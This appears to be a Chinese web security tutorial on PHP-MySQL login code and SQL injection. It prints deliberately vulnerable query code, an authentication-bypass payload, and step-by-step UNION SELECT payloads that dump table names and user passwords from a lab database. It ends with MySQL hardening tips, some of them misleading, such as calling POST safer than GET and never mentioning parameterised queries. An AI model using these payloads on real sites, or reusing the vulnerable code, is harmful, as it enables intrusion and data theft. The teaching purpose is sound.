PHP数据库交互
·
前言
在Web开发中,PHP与MySQL的搭配极为常见,但直接拼接用户输入极易引发SQL注入漏洞,轻则数据泄露,重则服务器沦陷。本文从实战出发,手把手带你掌握PHP与MySQL交互流程、SQL注入(万能密码+联合查询)原理,以及数据库安全加固方案,适合Web安全入门与开发避坑。
一、PHP与MySQL交互核心四步走
PHP操作MySQL的标准流程清晰固定,也是漏洞产生的根源所在,先掌握基础交互逻辑。
1. 交互四步核心代码
<?php
// 第一步:建立数据库连接
$db_host = '127.0.0.1';
$db_user = 'root';
$db_pass = 'root';
$db_name = 'school';
$conn = mysqli_connect($db_host, $db_user, $db_pass, $db_name);
if (!$conn) die("连接失败:".mysqli_connect_error());
// 第二步:接收用户输入(POST更安全)
if($_POST){
$name = $_POST['name'];
$pwd = $_POST['password'];
// 第三步:执行SQL查询(漏洞高危点)
$sql = "SELECT * FROM users WHERE name='$name' AND password='$pwd'";
$result = mysqli_query($conn, $sql);
// 第四步:处理查询结果
if(mysqli_num_rows($result) > 0){
$user = mysqli_fetch_assoc($result);
echo "登录成功:".$user['name'];
}else{
echo "登录失败";
}
}
mysqli_close($conn);
?>
2. 四步流程总结
| 步骤 | 核心操作 | 作用 |
|---|---|---|
| 1 | mysqli_connect() | 建立PHP与MySQL连接,失败则终止 |
| 2 | $_POST接收参数 | 隐藏敏感数据,比GET更安全 |
| 3 | 拼接SQL并执行 | 漏洞核心位置,直接拼接易被注入 |
| 4 | mysqli_num_rows() | 判断结果,返回登录状态 |
二、SQL注入漏洞:万能密码原理
1. 漏洞根源
直接将用户输入无过滤、无转义拼接到SQL语句中,攻击者可通过特殊字符篡改SQL逻辑。
// 危险代码:直接拼接变量 $sql = "SELECT * FROM users WHERE name='$name' AND password='$pwd'";
2. 万能密码 payload
123' or '1'='1
3. 篡改后SQL逻辑
-- 原SQL SELECT * FROM users WHERE name='admin' AND password='123' -- 注入后SQL SELECT * FROM users WHERE name='admin' AND password='123' or '1'='1'
效果:条件恒成立,无需正确密码即可登录,绕过验证。
三、SQL注入进阶:联合查询(UNION SELECT)实战
联合查询是SQL注入中拖库的核心手段,用于获取库名、表名、字段名及敏感数据。
1. 靶场环境
<?php
$conn = mysqli_connect("127.0.0.1","root","root","school");
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $sql);
?>
2. 联合查询四步走
第一步:判断字段数(order by)
?id=1 order by 6--+ # 正常 ?id=1 order by 7--+ # 报错 → 字段数=6
第二步:找回显位
?id=-1 union select 1,2,3,4,5,6--+ → 页面显示2,第2位为回显位
第三步:信息收集(库→表→字段)
-- 当前库名 ?id=-1 union select 1,database(),3,4,5,6--+ -- 库下表名 ?id=-1 union select 1,table_name,3,4,5,6 from information_schema.tables where table_schema='school'--+ -- 表下字段名 ?id=-1 union select 1,column_name,3,4,5,6 from information_schema.columns where table_schema='school' and table_name='users'--+
第四步:获取敏感数据
?id=-1 union select 1,CONCAT_WS('·',id,name,password),3,4,5,6 from school.users--+
可直接获取密码、身份证、手机号等隐藏数据。
四、MySQL安全加固:从权限到备份
1. 权限管控(最小权限原则)
-- 创建业务用户 CREATE user 'web_user'@'localhost' IDENTIFIED BY 'Web@123456'; -- 分配最小权限 GRANT SELECT,INSERT,UPDATE ON school.* TO 'web_user'@'localhost'; FLUSH PRIVILEGES; -- Root账号加固 ALTER user 'root'@'localhost' IDENTIFIED BY 'Root@753951'; UPDATE mysql.user SET Host='192.168.1.%' WHERE user='root'; FLUSH PRIVILEGES;
2. 日志审计(攻击溯源)
-- 开启通用日志 set global general_log=on; -- 查看日志路径 show variables like 'general_log_file';
3. 数据备份(3-2-1原则)
-
3份数据:原始+本地+异地
-
2种介质:硬盘+云盘
-
1份离线:不联网存储
命令行备份/恢复
# 备份 mysqldump -u root -p school > backup.sql # 恢复 mysql -u root -p school < backup.sql
五、总结
-
PHP与MySQL交互分连接→收参→执行SQL→处理结果四步,POST优于GET;
-
SQL注入根源是直接拼接用户输入,万能密码与联合查询是最常用攻击方式;
-
安全加固遵循最小权限、开启日志、3-2-1备份,从源头防范漏洞。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐



所有评论(0)